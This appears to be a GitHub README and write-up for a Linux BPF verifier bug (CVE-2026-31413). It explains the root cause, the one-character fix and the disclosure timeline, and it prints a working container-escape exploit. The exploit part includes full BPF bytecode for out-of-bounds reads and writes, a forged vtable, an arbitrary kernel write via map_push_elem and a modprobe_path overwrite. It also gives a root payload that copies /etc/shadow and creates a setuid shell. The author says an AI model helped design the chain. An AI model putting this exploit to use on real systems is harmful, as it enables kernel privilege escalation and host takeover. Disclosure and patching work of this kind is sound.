Rat5ak/CVE-2026-31413-BPF-Container-Escape
GitHub: Rat5ak/CVE-2026-31413-BPF-Container-Escape
揭示并修复 Linux 内核 eBPF 验证器中的健全性漏洞,防止容器逃逸与主机提权。
Stars: 1 | Forks: 1
# CVE-2026-31413:BPF 验证器中的一个字节导致容器逃逸
我在 Linux BPF 验证器中找到了一个健全性错误——`push_stack()` 调用中多余的 `+ 1` 导致验证器在分支路径上跳过一个 ALU 指令。
对于 `BPF_OR`,这意味着验证器跟踪 `dst = 0`,而 CPU 计算 `0 | K = K`。我编写了一个完整的容器逃逸:利用 BPF map 的 OOB 读/写、vtable 劫持、`modprobe_path` 覆盖,最终在主机上获得 root 权限。随后我只做了一字符的修复并成功合并。
**[📹 容器逃逸演示视频](demo/container_escape_demo.mp4)**
利用源码、补丁和自测试:[GitHub](https://github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape)。
| | |
|---|---|
| CVE | CVE-2026-31413 |
| 错误类别 | 验证器健全性 - 寄存器值分歧 |
| 根因 | `push_stack(env, env->insn_idx + 1, ...)` 在分支路径上跳过 ALU 指令 |
| 引入 | `bffacdb80b93` - Linux 7.0-rc1(2026年1月14日) |
| 修复 | `c845894ebd6f` - Linux 7.0-rc5(2026年3月22日) |
| 影响 | 6.12.75+(稳定回溯 `dea9989a3f`)至 7.0-rc4 |
| 影响 | 任意内核 R/W → 容器逃逸 → 主机 root |
| 必需条件 | `CAP_BPF` + `CAP_PERFMON` + `CAP_NET_ADMIN` |
| 修复 | 一个字符:`insn_idx + 1` → `insn_idx` |
## TL;DR
`maybe_fork_scalars()` 在遇到 ARSH + AND/OR 与常量时分支验证器状态。被推送的路径将 `dst` 设为 `0` 并跳过 ALU 指令。对于 AND 而言没问题:`0 & K = 0`。但对于 OR 则是错误的:`0 | K = K`,而不是 `0`。
验证器认为寄存器为零,而 CPU 持有 K。我利用这一点构建了来自 BPF map 值的任意 OOB 读/写,泄露了 map 的内核地址,伪造了 `bpf_map_ops` vtable,通过 `array_map_get_next_key` 重定向 `map_push_elem` 以实现任意写入并覆盖 `modprobe_path`。
触发未知二进制格式后,内核以 root 身份运行我的脚本。在容器中,即为完整的主机逃逸。
一字符修复。由 Alexei Starovoitov 于 3 月 22 日合并。CVE-2026-31413 于 4 月 12 日由 Greg Kroah-Hartman 分配。
## 背景:BPF 验证器
eBPF 允许你将小型程序加载到内核中——数据包过滤器、跟踪钩子、安全策略等,而无需编译内核模块。问题是,你正在将代码注入环 0。如果该代码存在 bug,就是内核 bug。
因此在任何 BPF 程序运行前,内核的**验证器**会模拟所有可能的执行路径。它跟踪每个寄存器持有的内容(指针?标量?范围?),检查每次内存访问是否符合 map 边界,并拒绝任何可能越界读写的内容。如果验证器认为程序安全,JIT 将其编译为本机机器代码并以全内核权限运行。此后不再有运行时边界检查;验证器就是安全边界。
这就是为什么验证器健全性错误不同于普通内存损坏的原因。堆溢出或 UAF 只能获得一个原始破坏点,需要进一步利用。而验证器错误会让内核**相信一个关于寄存器的谎言**——所有依赖该寄存器的边界检查都会通过。内核批准了你的越界访问,毫无怀疑地执行它。如果寄存器状态对齐正确,你就得到了一个干净、可靠的原始破坏原语。
## 我是如何发现它的
我正在审计 `maybe_fork_scalars()` —— 新增于 2026 年 1 月的 `bffacdb80b93`。状态分支总是很有趣,因为它是验证器分裂为并行探索路径的地方,而任何路径跟踪错误值都会导致其下游全部失声。
该函数在遇到 ARSH 加 AND/OR 常量时分支。被推送的路径设置 `dst = 0` 并跳过 ALU 指令。我盯着 `push_stack(env, env->insn_idx + 1, ...)` 这行代码,突然意识到——`+ 1` 意味着被推送的路径永远不会执行 ALU 操作。对于 AND,`0 & K = 0`,跳过没问题。对于 OR,`0 | K = K`,问题就出现了。
当晚我写了一个 BPF 程序:ARSH 63 得到 `{0, -1}`,与常量进行 OR,有条件分支分离验证器路径,然后通过 map 指针加上“0”寄存器。验证器批准了 `map_value + 0`,而 CPU 访问了 `map_value + K`。KASAN 在测试中确认了越界访问。
次日早上实现了越界读/写,当晚完成容器逃逸。我全程使用 Claude(Opus 4.5)——用于理解验证器的分支逻辑、构思利用原语,以及将越界访问扩展为完整逃逸链。vtable 劫持的思路来自 Claude 逐步分析 `bpf_map_ops` 函数指针的过程。
## 引入提交的修复
提交 `bffacdb80b93`(“bpf: Recognize special arithmetic shift in the verifier”)于 2026 年 1 月 14 日在 7.0-rc1 中引入,由 Alexei Starovoitov 与 Puranjay Mohan 共同开发。它添加了 `maybe_fork_scalars()` 来处理 LLVM DAGCombiner 模式:
```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
```
LLVM 将 `select_cc setlt X, 0, A, 0` 降级为 `sra + and`。算术右移后,寄存器要么是 `0`(非负输入),要么是 `-1`(全 1)。与常量 AND 后得到 `0` 或 `K`。
验证器无法在单个 `bpf_reg_state` 中跟踪 `{0, K}` —— 它的有符号范围 `[0, K]` 过度近似,导致它拒绝有效的 Cilium 程序。修复方法是分支验证器状态:一条路径探索 `dst = 0`,另一条探索 `dst = -1`,各自精确跟踪值。
实现如下:
```
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
```
在推送的路径中发生两件事:
1. 目标寄存器被设为 `0`
2. 执行从 `insn_idx + 1` 恢复 —— 跳过 ALU 操作之后的指令
对于 **BPF_AND**:`dst = 0`,跳过 AND。运行时:`0 & K = 0`。匹配。健全。
对于 **BPF_OR**:`dst = 0`,跳过 OR。运行时:`0 | K = K`。**不匹配**。
验证器看到的是 `0`,而 CPU 持有 `K`。不安全。
该函数未检查操作码。它原本只为 AND 设计——当 `dst = 0` 时跳过指令与执行指令效果相同——但错误地也应用到了 OR 上。对于 OR,这种等价关系不成立。
## 触发分歧
触发模式为五条指令:
```
r6 = *(u64*)(map_value + 0) // load a positive value (guaranteed by map init)
r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input)
r6 |= K // BUG: verifier forks, pushed path gets r6=0
if r6 s< 0 goto exit // steers verifier paths
r9 += r6 // verifier: r9 += 0 (in-bounds)
// runtime: r9 += K (OOB)
```
验证器探索两条路径:
**当前路径**(`dst = -1`):OR 执行,`-1 | K` 仍为 `-1`。分支 `r6 s< 0` 被采用,验证器沿退出路径继续。此路径安全,验证器确认无误。
**推送路径**(`dst = 0`,跳过 OR):`r6 = 0`。分支 `r6 s< 0` 未被采用。验证器继续执行 `r9 += r6`,看到 `r9 += 0`,随后批准后续的内存访问。
**运行时**(`dst = 0`,OR 实际执行):map 值若为正数,ARSH 后 `r6 = 0`。OR 执行:`0 | K = K`。分支 `K s< 0` 未被采用(因为 K 为正)。`r9 += K` —— 一个被验证器作为 `r9 += 0`批准的越界访问。
我控制 K。实现任意偏移的越界读或写,相对于 map 值的任何位置。
越界读版本将泄露的数据存入第二个 map 以供用户空间检索。写版本从第三个 map 加载值并写入越界偏移。两者均通过验证器。
以下是完整的 `oob_read_prog` —— 这是实际利用代码,而非伪代码:
```
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
```
而越界写——使用相同的 ARSH+OR 技巧,但将第三个 map 的值写入越界偏移:
```
static int oob_write_prog(int map_fd, int val_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0], load seed, trigger the bug */
BPF_LD_MAP_FD(R1, map_fd),
BPF_ST_MEM(BPF_W, R10, -4, 0),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0),
BPF_LDX_MEM(BPF_DW, R6, R9, 0), /* R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
```
触发任一程序,我通过 socket 对连接并推送一个数据包:
```
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
```
取反加一的模式(`R7 = 0 - R6; R8 += R7`)使我们能够从 map 值访问负偏移——这正是 map 自身元数据所在的位置。
## 利用:容器逃逸
完整链条如下:
```
BPF_OR divergence (verifier: dst=0, runtime: dst=K)
│
▼
Arbitrary OOB read/write relative to map value
│
├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address
├── Read offset -264 → leak ops vtable → confirm array_map_ops
│
▼
Build fake bpf_map_ops vtable in map value (42 slots from kallsyms)
→ slot 15 (map_push_elem) = array_map_get_next_key
│
▼
Corrupt map header via OOB writes
→ ops → fake vtable
→ map_type → BPF_MAP_TYPE_QUEUE (22)
→ max_entries → 0xFFFFFFFF
│
▼
bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem
→ array_map_get_next_key(map, value, flags)
→ writes *(u32*)value + 1 to *(u32*)flags
→ flags = attacker-controlled kernel address
│
▼
Overwrite modprobe_path → "/tmpn/mo"
│
▼
Exec unknown binary format → kernel runs /tmpn/mo as root
│
▼
Restore map header → clean exit
```
### 目标布局
`BPF_MAP_TYPE_ARRAY` 由 `struct bpf_array` 支持,其内部嵌入 `struct bpf_map` 在偏移 0 处。实际 map 值从偏移 264 开始(在 `bpf_array` 头结构之后 + 对齐)。因此从 `value[0]` 出发,map 自身的元数据位于已知负偏移处:
```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
```
我使用 `pahole` 在 6.12.76-docker 的 `vmlinux` 上验证了这些偏移量。在测试内核上,偏移量完全匹配。
### 第一步:信息泄露
两次越界读取提供全部所需信息:
**`wait_list` 在偏移 -136**:这是 `freeze_mutex.wait_list`,一个 `list_head`,在互斥锁未争用时指向自身。其值为 `&map->freeze_mutex.wait_list` —— 指向 map 结构的 kernel 指针。减去 128 得到 map 基址;加上 264 得到 `value[0]` 的 kernel 地址。
**`ops` 在偏移 -264**:这是 `bpf_map_ops` vtable 指针。在未修补的内核中它指向全局 `array_map_ops` 符号。我读取它以确认内核未被修补,并获取 vtable 地址用于克隆。
至此,我已掌握:map 的 kernel 地址、受控数据地址(`value[0]`)以及确认过的 vtable 指针。
### 第二步:伪造 vtable
`bpf_map_ops` 共有 42 个函数指针槽位。若我只将不需要的槽位清零,kernel 会在首次触碰时发生 NULL 解引用。因此我从 `/proc/kallsyms` 解析所有符号并构建一份完整副本:
```
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
```
第 15 个槽位是 `map_push_elem`。在真实的 `array_map_ops` 中该槽为 NULL(数组不支持 push)。我将其替换为 `array_map_get_next_key`。
为何选择 `get_next_key`?其签名如下:
```
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
```
它读取 `*(u32 *)key`,递增值后写入 `*(u32 *)next_key`。当通过 `map_push_elem` 分发路径调用时:
```
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
```
`flags` 参数落在 `next_key` 位置上。若我控制 `flags`,即可控制写入目标。写入的值为 `*(u32 *)value + 1` —— 一个我可通过设置 push 缓冲区前 4 字节来预测的小整数。
### 第三步:map 结构篡改
在利用伪造 vtable之前,我需要先重定向 map 指针并更改其类型,以便 kernel 通过 `map_push_elem` 分发。对同一 map 执行三次越界写,按顺序进行:
```
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check
exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22)
exec_oob_write(prog_wr_type, scratch, 22ULL);
```
类型变更至关重要。当用户空间对 array map 调用 `bpf(BPF_MAP_UPDATE_ELEM)` 时,kernel 分发至 `map_update_elem`。但对 queue map,同一系统调用会分发至 `map_push_elem` —— 现在它指向 `array_map_get_next_key`。
我需提前加载所有六个 BPF 程序(三次写入 + 三次恢复)**在** 篡改任何内容**之前**。一旦 `ops` 指针被篡改,我无法再加载引用该 map 的新 BPF 程序——验证器会跟随伪造 vtable并崩溃。因此所有准备工作必须预先完成。
### 第四步:通过 map_push_elem 实现任意写入
现在我可以向任意 kernel 地址写入 4 字节:
```
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
```
`map_push()` 调用 `bpf(BPF_MAP_UPDATE_ELEM)`,其中 `flags = addr`。kernel 分发至我的劫持 `map_push_elem` → `array_map_get_next_key(map, push_buf, addr)`。它读取 `*(u32 *)push_buf`(即 `val - 1`),加 1 后将 `val` 写入 `*(u32 *)addr`。
KASAN 约束:在该 kernel 上仅 8 字节对齐地址写入成功。这并非真实限制,例如 `modprobe_path`。
### 第五步:覆盖 modprobe_path
`modprobe_path` 是 kernel 中一个全局的 `char[264]`,默认值为 `/sbin/modprobe`。当 kernel 遇到无法识别魔数的可执行文件时,会以 root 身份调用 `modprobe_path` 加载合适的模块。将其覆盖为我可控的路径,即可触发任意代码以 root 身份执行。
目标路径为 `/tmpn/mo`。我无法写入任意字符串——每次只能写入 4 字节整数。但我只需两次写入即可:
```
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
```
在容器模式下,`modprobe_path` 解析在 init 挂载命名空间——而非容器命名空间。因此有效载荷脚本必须存在于主机的 `/tmpn/mo`。
对于演示,编排器会在主机上预置该 payload。exploit 创建触发二进制文件(4 字节 `\xff`)并执行。kernel 无法识别该格式,查找 `modprobe_path`,找到 `/tmpn/mo`,并以 root 身份运行它。
payload 如下:
```
#!/bin/sh
id > /tmp/pwned
cat /etc/shadow >> /tmp/pwned 2>/dev/null
cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
```
### 第六步:清理
在写入 `modprobe_path` 后,我使用三个预加载的恢复程序还原 map 头信息——类型、最大元素数量、ops 指针。map 恢复为正常数组。无悬空伪造 vtable,也无内核不稳定。
该利用为一次性操作,完成后状态干净。在我的演示环境中,从首次越界读到获得 root shell 仅耗时数秒。
## 谁受影响
利用需要 `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`。普通容器或加固系统上的普通用户无法获取这些权限。
但许多上下文确实拥有这些权限。
### 无特权 BPF 系统
若 `kernel.unprivileged_bpf_disabled=0`(可通过 `sysctl` 检查),任何本地用户均可加载 BPF 程序。这曾是部分发行版的默认设置(旧版 Ubuntu/Debian),某些开发/测试环境仍启用此选项。在这些系统上,这是直接的本地提权——任意用户 → root,无需特殊权限。
大多数现代发行版默认将 `unprivileged_bpf_disabled` 设为 `1` 或 `2`(锁定),因此 Ubuntu 22.04+、Debian 12+、Fedora、RHEL 9 等默认安装不受此路径影响。
### Kubernetes / 容器环境
这是该漏洞最危险的场景。普通无特权容器会丢弃 `CAP_BPF`,因此无法触发。但许多基础设施 Pod 拥有提升的权限:
| 产品 | 默认权限 | 说明 |
|---|---|---|
| **Cilium**(GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | 网络策略,运行在每个节点 |
| **Falco** | `privileged: true` | 运行时安全,挂载 /dev |
| **Tetragon** | `privileged: true` | eBPF 可观测性 |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 项其他权限 | 指标、日志、APM |
| **Pixie** | `privileged: true` | 基于 eBPF 的可观测性 |
| **Tracee** | `privileged: true` 或 BPF 权限 | Aqua 运行时安全 |
这些通常以 DaemonSet 形式在每个节点运行一个 Pod。若攻击者通过节点上 Web 服务的 RCE、供应链攻击或 SSRF 到代理 API 之一获得其中任一 Pod 的权限,即可拥有执行该利用所需的权限,进而逃逸主机 root。
**重要注意事项:** 该利用仅影响包含漏洞代码的内核(6.12.75-6.12.79、6.18.x-6.18.20、6.19.x-6.19.10、7.0-rc1 至 rc4)。大多数生产 K8s 集群运行较旧 LTS 内核。请使用 `uname -r` 检查节点内核版本后再评估可利用性。
从单个节点上的 root 出发,通常可通过相同的 DaemonSet(共享服务账户、挂载的密钥等)横向移动到其他节点。
### 托管 Kubernetes(GKE、EKS、AKS)
GKE 默认使用 Cilium 作为数据平面 V2。若 GKE 节点运行未修补的 6.12.x 内核(检查节点池版本),则 Cilium Pod 的任何妥协都将导致主机 root 和节点接管。我为此专门构建了 `exploit_gke.c`——即针对该场景。
若使用 Cilium 的 EKS 和 AKS 也可能受影响,需检查具体 AMI/VM 镜像版本。
### Android
Android 使用 eBPF 进行网络流量统计(netd)、功耗分析和内存跟踪。当前设备(Android 14/15)使用 6.1 LTS 内核,**不受影响**。Android 16 若采用 6.12 LTS 且包含该漏洞回溯,则攻击面可能为 `netd` 和 `system_server` 等加载 BPF 程序的系统服务。此为推测,取决于 Android 的内核采用策略。我已向 Android VRP 提交跟踪。
### 共享内核的容器(LCX/LXD)
与虚拟机不同,系统容器共享主机内核。破坏共享内核 = 破坏主机 + 同一主机上的所有其他容器。这不同于 Docker/containerd 容器逃逸(后者是逃逸到可能本身也是 VM 的主机)。
### 无法逃逸的情况
这是客户机内核漏洞,而非 hypervisor 逃逸。在 EC2 实例内运行 exploit,你获得该实例的 root,但无法逃逸 Nitro hypervisor 到物理主机或其他租户。GCE、Azure VM、KVM 等同理。硬件边界仍然有效。
### 受影响内核
| 分支 | 受影响范围 | 修复版本 |
|---|---|---|
| 6.12.y(LTS) | `dea9989a3f` 至 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` 至 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` 至 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 至 7.0-rc4 | 7.0-rc5+ |
引入提交:`bffacdb80b93`(“bpf: Recognize special arithmetic shift in the verifier”)
修复提交:`c845894ebd6f`
`CAP_BPF` 并非安全能力。验证器错误会将其转化为任意内核读写。授予工作负载该能力的产品应视其为 `CAP_SYS_ADMIN`。
## 修复
一字符修改:
```
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
```
而非将分支推送到 `insn_idx + 1`(跳过 ALU 指令),现在推送到 `insn_idx` —— 指令本身。被推送的路径会重新执行 ALU 指令,此时 `dst = 0`:
- AND:`0 & K = 0` ✓
- OR:`0 | K = K` ✓
原始方法是一种优化:跳过指令并硬编码结果,仅在 `dst = 0` 执行结果为零时成立(AND 成立,OR 不成立)。修复放弃了该优化:重新执行指令,让验证器为任意操作码计算正确值。
我经历了三个补丁版本:
- **v1**:为 `maybe_fork_scalars()` 添加 `opcode` 参数,对推送路径设置 `dst = K`(OR)或 `dst = 0`(AND)。可行但增加复杂度。
- **v2**:Eduard Zingerman 建议的重执行方法——推送到 `insn_idx` 而非 `insn_idx + 1`。更简单、与操作码无关,彻底消除了“跳过 vs 执行”类错误。
- **v3**:根据 Alexei Starovoitov 审查,在自测试中添加单行注释风格修改。
合并为 `c845894ebd6f`,由 Alexei Starovoitov 于 3 月 22 日完成。自测试位于 `0ad1734cc559`。审查者 Eduard Zingerman,确认者 Amery Hung。
自测试覆盖三种情况:
1. `or_scalar_fork_rejects_oob` —— ARSH 63 加 OR 8,value_size=8,访问偏移 8 越界 → 必须拒绝
2. `and_scalar_fork_still_works` —— AND 回归测试,路径仍应接受
3. `or_scalar_fork_allows_inbounds` —— OR 4,value_size=8,访问偏移 4 在界内 → 必须接受
Linus 将 `d5273fd3ca0b`(“Merge tag 'bpf-fixes'”)合并至主线,并注明:“Fix unsound scalar forking for OR instructions (Daniel Wade)”。
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-01-14 | `bffacdb80b93` 在 7.0-rc1 中引入 `maybe_fork_scalars()` |
| 2026-03-04 | 漏洞回溯至 6.12.y 稳定分支(`dea9989a3f`) |
| 2026-03-11 | 我在进行验证器审计时发现该漏洞 |
| 2026-03-12 | 确认越界读/写,漏洞利用生效 |
| 2026-03-13 | 完成容器逃逸 PoC,录制视频 |
| 2026-03-14 | 补丁 v3 发送至 bpf@vger.kernel.org |
| 2026-03-22 | Alexei Starovoitov 合并修复补丁 |
| 2026-04-06 | Linus 将 bpf-fixes 标签合并至主线 |
| 2026-04-12 | Greg Kroah-Hartman 分配 CVE-2026-31413 |
## 参考资料
- 修复提交:[`c845894ebd6f`](https://github.com/torvalds/linux/commit/c845894ebd6f)(“bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR”)
- 自测试:[`0ad1734cc559`](https://github.com/torvalds/linux/commit/0ad1734cc559)(“selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling”)
- 引入提交:[`bffacdb80b93`](https://github.com/torvalds/linux/commit/bffacdb80b93)(“bpf: Recognize special arithmetic shift in the verifier”)
- 补丁系列:[lore.kernel.org](https://patch.msgid.link/20260314021521.128361-1-danjwade95@gmail.com)
- 利用源码 + 补丁:[github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape](https://github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape)
*CVE-2026-31413 - 在 Linux 7.0-rc5 中修复。受影响范围:6.12.75+(稳定回溯)至 7.0-rc4。*
*Daniel Wade - [GitHub](https://github.com/Rat5ak) · [Twitter/X](https://x.com/Nadsec11) · [Bluesky](https://bsky.app/profile/nadsec.online) · [Mastodon](https://cyberplace.social/@Nadsec) · [Medium](https://medium.com/@Nadsec) · danjwade95@gmail.com*
标签:0day挖掘, ALU指令, BPF Map越界, BPF_OR, CAP_BPF, CAP_NET_ADMIN, CAP_PERFMON, CVE, Docker镜像, Linux 7.0-rc1, Linux 7.0-rc5, Linux内核, maybe_fork_scalars, modprobe_path覆盖, OOB读写, push_stack, Verifier soundness, vtable劫持, 一字节修复, 内核安全, 内核提权, 内核漏洞, 内核漏洞利用, 安全漏洞, 客户端加密, 容器逃逸, 容器逃逸PoC, 容器逃逸技术, 寄存器值分歧, 数字签名, 漏洞分析, 稳定版回归, 自动回退, 路径探测